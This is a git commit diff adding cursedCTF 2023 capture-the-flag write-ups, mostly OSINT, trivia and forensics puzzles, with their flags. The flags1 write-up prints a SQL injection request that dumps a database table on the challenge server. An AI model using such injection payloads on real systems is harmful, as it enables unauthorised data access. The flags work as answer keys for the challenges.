feat: added cursedCTF

README.md

@@ -37,3 +37,6 @@ List of CTF events that i have joined before
 | VishwaCTF 2023 | 31 March, 17:30 WIB — 02 April 2023, 17:30 WIB | [Link](/VishwaCTF%202023/) |
 | RITSEC CTF 2023 | 31 March, 23:00 WIB — 02 April 2023, 23:00 WIB | [Link](/RITSEC%20CTF%202023/) |
 | GREP CTF 2023 | 01 April, 18:00 WIB — 03 April 2023, 18:00 WIB | [Link](/GREP%20CTF%202023/) |
+| Midnight Sun CTF 2023 Quals | 08 April, 18:00 WIB — 09 April 2023, 18:00 WIB | [Link](/Midnight%20Sun%20CTF%202023%20Quals/) |
+| Bucket CTF 2023 | 08 April, 00:00 WIB — 10 April 2023, 00:00 WIB | [Link](/Midnight%20Sun%20CTF%202023%20Quals/) |
+| cursedCTF 2023 | 08 April, 07:00 WIB — 11 April 2023, 07:00 WIB | [Link](/cursedCTF%202023/) |

cursedCTF 2023/Insanity Check/README.md

@@ -0,0 +1,16 @@
+# Insanity Check
+> Hello and welcome to cursed ctf for real. glad you read the rules lets go.
+
+## About the Challenge
+We have been given a server to connect and we need to find the `sanity check` flag from each CTF competition
+
+![preview](images/preview.png)
+
+## How to Solve?
+To solve this chall, you need to find the information about some CTF competition. For example `Plaid CTF 2014:`, I can get information about the flag using `ctftime` or you can search it in Github or you can find the flag by reading someone's writeup
+
+![flag](images/flag.png)
+
+```
+cursed{w3lc0m3_t0_th3_sh1tsh0w!}
+```

cursedCTF 2023/LiNkIdEn/README.md

@@ -0,0 +1,14 @@
+# LiNkIdEn
+> Add me on linkedIn for a flag
+
+> https://www.linkedin.com/in/emma-reuter/
+
+## About the Challenge
+We need to connect to `Emma Reuter` LinkedIn account to get the flag
+
+## How to Solve?
+Simply connect with her, and you will receive a message containing the flag.
+
+```
+cursed{linkedin}
+```

cursedCTF 2023/README.md

@@ -0,0 +1,19 @@
+# cursedCTF 2023
+CTF writeup for The cursedCTF 2023. I took part in this CTF competition with the TCP1P team, and got 47th place out of 568 teams
+
+Thanks to the team especially @dRe
+
+| Category | Challenge |
+| --- | --- |
+| Web | [flags1](/cursedCTF%202023/flags1/)
+| Reverse | [pirates-and-cursed-flags](/cursedCTF%202023/pirates-and-cursed-flags/)
+| Crypto | [find the paper](/cursedCTF%202023/find%20the%20paper/)
+| Forensics | [cyber cat](/cursedCTF%202023/cyber%20cat/)
+| Osnit | [Scents!](/cursedCTF%202023/Scents!/)
+| Osnit | [Scents^2](/cursedCTF%202023/Scents%5E2/)
+| Other | [four](/cursedCTF%202023/four/)
+| Other | [LiNkIdEn](/cursedCTF%202023/LiNkIdEn/)
+| Misc | [hoarder](/cursedCTF%202023/hoarder/)
+| Misc | [survey](/cursedCTF%202023/survey/)
+| Misc | [Insanity Check](/cursedCTF%202023/Insanity%20Check/)
+| Misc | [\"seduce me!\"](/cursedCTF%202023/seduce%20me!/)

cursedCTF 2023/Scents!/README.md

@@ -0,0 +1,20 @@
+# Scents!
+> What's the name of this cent
+
+![notes](notes.png)
+
+## About the Challenge
+We have received a notes / ingredient, and we need to find the name of the perfume
+
+## How to Solve?
+Go to Google and enter the notes / ingredient to find the name of the perfume
+
+```
+"Watery Notes" "Blackcurrant Syrup" "Pink Pepper"
+```
+
+![flag](images/flag.png)
+
+```
+cursed{kamuthraa}
+```

cursedCTF 2023/Scents^2/README.md

@@ -0,0 +1,27 @@
+# Scents^2
+> What's the common notes for all of these scents?
+
+![scents](scents.png)
+
+## About the Challenge
+We have received a list of perfumes, and we need to find the correct ingredient / notes
+
+## How to Solve?
+Im using this [website](https://www.fragrantica.com/ingredients-search/) to find the correct notes. And then I tried to search each perfume and here is the list
+
+* https://www.fragrantica.com/perfume/Al-Rehab/Classic-20062.html
+* https://www.fragrantica.com/perfume/Lazure-Perfumes/Sunset-Bay-75321.html
+* https://www.fragrantica.com/perfume/Ineke/Chemical-Bonding-4070.html
+* https://www.fragrantica.com/perfume/Torrente/L-Or-Rouge-2468.html
+* https://www.fragrantica.com/perfume/Birkholz/Velvet-Orchid-59877.html
+* https://www.fragrantica.com/perfume/Natura/Esta-Flor-Lavanda-58164.html
+* https://www.fragrantica.com/perfume/Gres/Cabochard-Apaiser-Vert-35966.html
+* https://www.fragrantica.com/perfume/Berceuse-Parfum/Minneapolis-5-3-75704.html
+
+Scroll down a little bit, and you will find the perfumes notes. Find the same ingredients in all perfumes, for example, `amber` and `citruses`. And then input all the ingredients on the ingredient searcher
+
+![flag](images/flag.png)
+
+```
+cursed{amber,citruses,musk,powdery notes}
+```

cursedCTF 2023/cyber cat/README.md

@@ -0,0 +1,20 @@
+# cyber cat
+> i've hidden a flag in this picture of my cat
+
+## About the Challenge
+We have been given an image (You can downlod the file [here](cyber_cat.png)) and we need to find the flag inside that image
+
+## How to Solve?
+To solve this chall, im using `strings` and `grep`. Here is the command that I used
+
+```shell
+strings cyber_cat.png | grep "cursed{"
+```
+
+This command is using the strings command to extract human-readable strings from the file `cyber_cat.png`. Then, it uses the grep command to search for the string `cursed{` in the output of the strings command.
+
+![flag](images/flag.png)
+
+```
+cursed{lmao}
+```

cursedCTF 2023/find the paper/README.md

@@ -0,0 +1,22 @@
+# find the paper
+> here is a screenshot from a paper
+
+![paper](cursedctf.png)
+
+> here is a screenshot from a paper picture from a paper the flag format is cursed{last name 1, last name 2, ..., last name n}
+
+## About the Challenge
+We need to find the author of the paper
+
+## How to Solve?
+At first, im using google reverse image and I found this medium post
+
+![blog](images/blog.png)
+
+I opened the blog and found that the screenshot was from a paper titled [Post-quantum RSA](https://cr.yp.to/papers/pqrsa-20170419.pdf).
+
+![paper](images/paper.png)
+
+```
+cursed{Lou, Heninger, Bernstein, Valenta}
+```

cursedCTF 2023/flags1/README.md

@@ -0,0 +1,34 @@
+# flags1
+> Come submit your flags for all to see!
+
+## About the Challenge
+We have been given a website and we need to find the flag there
+
+![preview](images/preview.png)
+
+We can input some random string and then our input will be displayed in the homepage
+
+## How to Solve?
+Actually this chall is literally the same with `UTCTF - Confessions` chall. So i tried to use the same payload to solved this chall
+
+```
+POST /sendflag HTTP/2
+Host: flags.mc.ax
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
+Cache-Control: max-age=0
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 41
+
+flag="); SELECT text FROM confessions; --
+```
+
+![flag](images/flag.png)
+
+If you are still confused, you can refer to this [repository](https://github.com/utisss/UTCTF-23/tree/main/guppy/web-confession)
+
+```
+cursed{thank_you_for_the_flags}
+```

cursedCTF 2023/four/README.md

@@ -0,0 +1,14 @@
+# four
+> four
+
+## About the Challenge
+`-`
+
+## How to Solve?
+At first, I was really confused because the description was only `four.` However, while searching for 'cursed{' on the Discord server, I found out that one of the admins had used the flag as their username.
+
+![flag](images/flag.png)
+
+```
+cursed{todo-share-this-flag}
+```

cursedCTF 2023/hoarder/README.md

@@ -0,0 +1,12 @@
+# hoarder
+> Here is the flag cursed{hoarding_is_a_legitimate_strategy}. I would think twice before submitting it, maybe read the source to cursed-rctf or something.
+
+## About the Challenge
+`-`
+
+## How to Solve?
+Well, just the flag is already in the description.
+
+```
+cursed{hoarding_is_a_legitimate_strategy}
+```

cursedCTF 2023/pirates-and-cursed-flags/README.md

@@ -0,0 +1,18 @@
+# pirates-and-cursed-flags
+> Please don't steal our book. Only authorized users can open this.
+
+## About the Challenge
+We have been given a html file (You can download the file [here](book.html)) and we need to find the flag there
+
+## How to Solve?
+If you check the source code of the website, we know the pin is `hunter2`
+
+![code](images/code.png)
+
+Now input `hunter2` in the form and we will obtain the flag
+
+![flag](images/flag.png)
+
+```
+cursedflag{did_you_know_that_hacking_is_illegal}
+```

cursedCTF 2023/seduce me!/README.md

@@ -0,0 +1,16 @@
+# \"seduce me!\"
+> \"I am not one of your fried chicken tramps!\"
+
+> Convince me to give you the flag. My Discord username is rosecourts#9323. My email is rosecourts2048@gmail.com. Contacting me via any other means is out of scope.
+
+## About the Challenge
+We need to contact the admin using discord / email to obtain the flag
+
+## How to Solve?
+In this case I contacted the admin using email and then the admin will give you the flag
+
+![flag](images/flag.png)
+
+```
+cursed{Case-the-restaurant-run-background-checks-on-the-staff.Can-the-cook-be-trusted?If-not-I-gotta-kill-him.Dispose-of-the-body-replace-him-with-my-own-guy-no-later-than-4:30.}
+```

cursedCTF 2023/survey/README.md

@@ -0,0 +1,20 @@
+# survey
+> Please complete the survey. `nc mc.ax 31499`
+
+## About the Challenge
+We have been given a server to connect and we need to solve the pow to know the next step
+
+![preview](images/preview.png)
+
+## How to Solve?
+At first, I thought i can solve the `pow` by running command `nc mc.ax 31501`. But I was completely wrong, that server is a minecraft server and to obtain the flag we need to play minecraft and got `1 gold` first. And then use the minecraft console to get the ticket
+
+![survey](images/survey.png)
+
+Check the survey link, and you will find the flag in the google form
+
+![flag](images/flag.png)
+
+```
+cursed{i-love-cursedctf}
+```